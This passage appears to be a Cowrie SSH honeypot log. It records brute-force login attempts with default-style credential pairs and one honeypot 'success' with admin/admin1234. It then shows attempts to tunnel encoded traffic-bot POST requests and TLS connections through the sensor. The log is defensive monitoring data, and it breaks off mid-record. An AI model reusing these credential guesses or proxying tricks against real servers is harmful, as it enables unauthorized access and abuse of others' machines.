{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:37.602016Z","src_ip":"45.153.34.195","session":"64b7e1fdfb99","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:37.998613Z","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:38.056593Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-T867U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NDJqRiZ4MHJCWX4rRzRRLw%3D%3DGiQ0EFsLo69FhMxnAh4ltwHp%2BQWMRlLHygJHAOKbUKOLvfz2Ku1NgN7SuACqMyfgUVJnVkyKMaLNeF4I6jkbgwsqntbXkWgY0rm9zM5l3NO%2Fg57T%2BI9COUFDPF94CKZjPZOYnOzL7graGRFU1y87roGVJA1exeqds2elq4gBLvi41PmQDAEIbtMImHBwH1dUHIqxiluF2M1ULYDsSSnC0i9DXgFwQiwmJgUGFYlz5bCypFuRj9GaEuroZW45IsGBLTtLa8sQAyGZ6TYCRbiy%2FHIafkVc0SMMlfdKQCD1gHqZ976ExxffwHr0SPxoCNm410OJsafwVGel4CjHAp0gWZWlT2uqrWRMfZyod54Eoemg8QcONo94lw10iEkgWKUqozUX%2F2oN9WdQ%2BkEJex%2FMr2SGrYM6Cnba3l1pPCnEpLAEV6Jx5%2FMWYlqUPd%2BToE%2FhF%2B1XXlYSi5Yung%2FwHaX2xj3IUU0X7CiyCd6CujBcBSQypVl6i0ml8ifYmEA3ewtEvLQJLegp3y8DsDqbiRqN8aRUZeEbzfkj71TnPyHEWVv982LVrvJWCngp2EEcXdfbTVUswTbtvjEzwzZ6YCAlV8sdwIkiIm90QHRn7EdtMEckyOYP%2FpyNQRNkV2b0XyiDxZ6jL9VPM8%2FwjRD1PC6PkmXOjEwsw7egfSYYk48Ai1H7SNcIk6T3u%2FGjjSM%2BG%2Fwlx4dVI8IRXV6NLHDDrCJCvwVWWwJlMpjnpMr%2B7NVEN4aGqNoFmXiYLD9KmzR4odj%2Fxg1m%2Bn5N8E7ymdFnD5rJANsCMUe1Lph5v9%2Fm6Z2%2FISTK%2BWQ4j9SvL%2BDhK26wcwmVgHyvj%2Fm0ROdqgxmtafOHycoiEqZjrc1xGDbsgWJtiyJqaCb3ZwFBdzh5saQpSKBLJymP0K29GMQP2b5SZeK%2BS0BUsfDCM7zMwWuBs26VwIUwxtQKMC3v%2FaX2EHi4dXDy94CsDQXxM7syP0eronGz2BJz8CL5DVfh%2B%2FBNX5sxGjju4yzw06myBA%2BjkGYz05gV1uzf5xthhV%2BDaS60z4RDP40dKytVULy%2FvdfNM71LlOOfTI%2FpiomVCBPtL5nV4%2BPo'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-T867U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NDJqRiZ4MHJCWX4rRzRRLw%3D%3DGiQ0EFsLo69FhMxnAh4ltwHp%2BQWMRlLHygJHAOKbUKOLvfz2Ku1NgN7SuACqMyfgUVJnVkyKMaLNeF4I6jkbgwsqntbXkWgY0rm9zM5l3NO%2Fg57T%2BI9COUFDPF94CKZjPZOYnOzL7graGRFU1y87roGVJA1exeqds2elq4gBLvi41PmQDAEIbtMImHBwH1dUHIqxiluF2M1ULYDsSSnC0i9DXgFwQiwmJgUGFYlz5bCypFuRj9GaEuroZW45IsGBLTtLa8sQAyGZ6TYCRbiy%2FHIafkVc0SMMlfdKQCD1gHqZ976ExxffwHr0SPxoCNm410OJsafwVGel4CjHAp0gWZWlT2uqrWRMfZyod54Eoemg8QcONo94lw10iEkgWKUqozUX%2F2oN9WdQ%2BkEJex%2FMr2SGrYM6Cnba3l1pPCnEpLAEV6Jx5%2FMWYlqUPd%2BToE%2FhF%2B1XXlYSi5Yung%2FwHaX2xj3IUU0X7CiyCd6CujBcBSQypVl6i0ml8ifYmEA3ewtEvLQJLegp3y8DsDqbiRqN8aRUZeEbzfkj71TnPyHEWVv982LVrvJWCngp2EEcXdfbTVUswTbtvjEzwzZ6YCAlV8sdwIkiIm90QHRn7EdtMEckyOYP%2FpyNQRNkV2b0XyiDxZ6jL9VPM8%2FwjRD1PC6PkmXOjEwsw7egfSYYk48Ai1H7SNcIk6T3u%2FGjjSM%2BG%2Fwlx4dVI8IRXV6NLHDDrCJCvwVWWwJlMpjnpMr%2B7NVEN4aGqNoFmXiYLD9KmzR4odj%2Fxg1m%2Bn5N8E7ymdFnD5rJANsCMUe1Lph5v9%2Fm6Z2%2FISTK%2BWQ4j9SvL%2BDhK26wcwmVgHyvj%2Fm0ROdqgxmtafOHycoiEqZjrc1xGDbsgWJtiyJqaCb3ZwFBdzh5saQpSKBLJymP0K29GMQP2b5SZeK%2BS0BUsfDCM7zMwWuBs26VwIUwxtQKMC3v%2FaX2EHi4dXDy94CsDQXxM7syP0eronGz2BJz8CL5DVfh%2B%2FBNX5sxGjju4yzw06myBA%2BjkGYz05gV1uzf5xthhV%2BDaS60z4RDP40dKytVULy%2FvdfNM71LlOOfTI%2FpiomVCBPtL5nV4%2BPo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:38.059593Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37800,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bcc3bcaa127","protocol":"ssh","message":"New connection: 45.153.34.195:37800 (10.17.0.5:22) [session: 5bcc3bcaa127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:38.877488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:38.884617Z","src_ip":"45.153.34.195","session":"5bcc3bcaa127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:38.982457Z","src_ip":"45.153.34.195","session":"5bcc3bcaa127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:39.250578Z","src_ip":"45.153.34.195","session":"5bcc3bcaa127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56676,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f052fe3ed0e","protocol":"ssh","message":"New connection: 123.27.168.40:56676 (10.17.0.5:22) [session: 9f052fe3ed0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:39.903018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:39.907254Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:40.158612Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:40.333309Z","src_ip":"45.153.34.195","session":"5bcc3bcaa127","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:41.248473Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:41.762184Z","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:41.931106Z","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37806,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3ba7ca04cc","protocol":"ssh","message":"New connection: 45.153.34.195:37806 (10.17.0.5:22) [session: bc3ba7ca04cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:41.942049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:41.946235Z","src_ip":"45.153.34.195","session":"bc3ba7ca04cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.028105Z","src_ip":"45.153.34.195","session":"bc3ba7ca04cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.285562Z","src_ip":"45.153.34.195","session":"bc3ba7ca04cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.315884Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.5 (KHTML, like Gecko) Version/9.1.2 Safari/601.2.5\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Unp3UUJRN1VJRkJzNHhSSg%3D%3D6ZrT0r3CLHxvgutlnk%2FL2Fs3v4RYBnUSGIMyuN80wZ9UcvgpJuz6VWVQGAFH0Jf%2FzkldUPbIYXPCt8R1GiHMUgjlH%2F5njkDPKoC%2BwJBceV6COQi%2Fc4KlVrarzCOFeNb073K828nV%2FtomjF3PCwYizWbhVSCqPqhM7nFK4EaeJrluTGHhDT0O3JZAHn%2BX%2Fc9C%2FwWVSjoPHiIScDxshc4W76f10DjyUJZlGCbgKX9PEQ0oQ1%2BT7Uu5R5BBIc%2FJmm5hgVLHjoTTl%2BgrAvHz4yCkmOGbZbiI9hWaifR1q244loqKcc1uipdkgA0xDvG5qH8%2FAzs1YpyemMhGnsGa1Iq1Zj%2FmALNU7UV4PM4HefGU1ELHAZS%2BrODQp7NHZkC%2BHzgN%2Fj7bnVszRfBI1%2B32TtVLr%2FTtfO%2BewZEFb1GJVzgXu1C4p8%2FcWKaiMT%2FuLIy9s43Nji5oc%2B67FEiOlrWL%2BnQo%2B1k%2BPk1CCb6ezGULTlLR6xyNmZD9jKBjgRxS5INXkdwomaLLX6KGXJL0eE7uxZEAMcEFwlcanG%2B5aceZHTp41roTLCwamd62v5MvTt73J2hY6vVaqEmxAKjBvrLMawLt6o2nZ5qSJEixjyUzMa3NTAbEjkc7oebNEYVHQ%2BBy0WZ%2F4XPLKEAuDxDIgxTbwD%2FxVzxE8l2HjvGtjxfREmvL9jSduoGnzjmBizF%2FtAwGfsWpWXNGQ9vGsqEs7Wb4Okyu8B5%2FqkATfqRiUmq%2BL9dyJ9%2BQn10kKlFDzIbggOI%2B85P%2BvaomI61ayoBfARJccGuLq7Gx9FYnC4dVXqYCyf%2F%2FApCbkuIZeFq%2FX2ZZ9jJgF0mlMu56BvmD9UNB4CTIJRewUhgfAvy9qXlUnE0CEJPUPAELnqrDWypZzr3Mdu6CljdzCXU%2FmKTb5TKsPXKqyeV1MIKhNyOCqlqtJOXh1rGYujhS6o7jYGk%2BXPBWKFzMpCbyMR%2BpXlreqDWnULUmsDuQazk%2BfKA8M9Xjt5J%2F0UEgCG3lpXDUdvCT8TNxFrJx7LIAcRiA7lC0%2FsOb93o4h6M5rjuqamiAP%2BAbo4XxqdfsqNkpqQiHRSHWoz23wE37T5Uc'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.5 (KHTML, like Gecko) Version/9.1.2 Safari/601.2.5\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Unp3UUJRN1VJRkJzNHhSSg%3D%3D6ZrT0r3CLHxvgutlnk%2FL2Fs3v4RYBnUSGIMyuN80wZ9UcvgpJuz6VWVQGAFH0Jf%2FzkldUPbIYXPCt8R1GiHMUgjlH%2F5njkDPKoC%2BwJBceV6COQi%2Fc4KlVrarzCOFeNb073K828nV%2FtomjF3PCwYizWbhVSCqPqhM7nFK4EaeJrluTGHhDT0O3JZAHn%2BX%2Fc9C%2FwWVSjoPHiIScDxshc4W76f10DjyUJZlGCbgKX9PEQ0oQ1%2BT7Uu5R5BBIc%2FJmm5hgVLHjoTTl%2BgrAvHz4yCkmOGbZbiI9hWaifR1q244loqKcc1uipdkgA0xDvG5qH8%2FAzs1YpyemMhGnsGa1Iq1Zj%2FmALNU7UV4PM4HefGU1ELHAZS%2BrODQp7NHZkC%2BHzgN%2Fj7bnVszRfBI1%2B32TtVLr%2FTtfO%2BewZEFb1GJVzgXu1C4p8%2FcWKaiMT%2FuLIy9s43Nji5oc%2B67FEiOlrWL%2BnQo%2B1k%2BPk1CCb6ezGULTlLR6xyNmZD9jKBjgRxS5INXkdwomaLLX6KGXJL0eE7uxZEAMcEFwlcanG%2B5aceZHTp41roTLCwamd62v5MvTt73J2hY6vVaqEmxAKjBvrLMawLt6o2nZ5qSJEixjyUzMa3NTAbEjkc7oebNEYVHQ%2BBy0WZ%2F4XPLKEAuDxDIgxTbwD%2FxVzxE8l2HjvGtjxfREmvL9jSduoGnzjmBizF%2FtAwGfsWpWXNGQ9vGsqEs7Wb4Okyu8B5%2FqkATfqRiUmq%2BL9dyJ9%2BQn10kKlFDzIbggOI%2B85P%2BvaomI61ayoBfARJccGuLq7Gx9FYnC4dVXqYCyf%2F%2FApCbkuIZeFq%2FX2ZZ9jJgF0mlMu56BvmD9UNB4CTIJRewUhgfAvy9qXlUnE0CEJPUPAELnqrDWypZzr3Mdu6CljdzCXU%2FmKTb5TKsPXKqyeV1MIKhNyOCqlqtJOXh1rGYujhS6o7jYGk%2BXPBWKFzMpCbyMR%2BpXlreqDWnULUmsDuQazk%2BfKA8M9Xjt5J%2F0UEgCG3lpXDUdvCT8TNxFrJx7LIAcRiA7lC0%2FsOb93o4h6M5rjuqamiAP%2BAbo4XxqdfsqNkpqQiHRSHWoz23wE37T5Uc'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.318736Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:42.325013Z","src_ip":"123.27.168.40","session":"9f052fe3ed0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe49\\xd5\\xf7\\xbe\\xea\\x8e/\\x17\\x90U4\\xa2\\xff\\xd8\\x1d2\\xbf\\x00\\r\\x1c\\xaf\\x9d`\\xf9\\xae;\\xcb\\xe7\\t\\x8c4 i=\\xa7\\x15b\\xe3m\\xc8\\x95\\xa8\\x80\\xa4\\xf1\\xf3\\x8b\\x95\\x9d@\\x83\\n\\xbaVP\\xf2n@\\xe1$\\xe2\\xa1\\x06\\xbe\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85.\\xf0O\\x04T\\x9c\\n)\\x13\\x17\\x10\\x9b\\x85\\xa9gNXn\\x9f\\xe3\\xa3\\x05\\x1d\\xcc\\xea\\x80\\xf3kD\\x82\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe49\\xd5\\xf7\\xbe\\xea\\x8e/\\x17\\x90U4\\xa2\\xff\\xd8\\x1d2\\xbf\\x00\\r\\x1c\\xaf\\x9d`\\xf9\\xae;\\xcb\\xe7\\t\\x8c4 i=\\xa7\\x15b\\xe3m\\xc8\\x95\\xa8\\x80\\xa4\\xf1\\xf3\\x8b\\x95\\x9d@\\x83\\n\\xbaVP\\xf2n@\\xe1$\\xe2\\xa1\\x06\\xbe\\x00 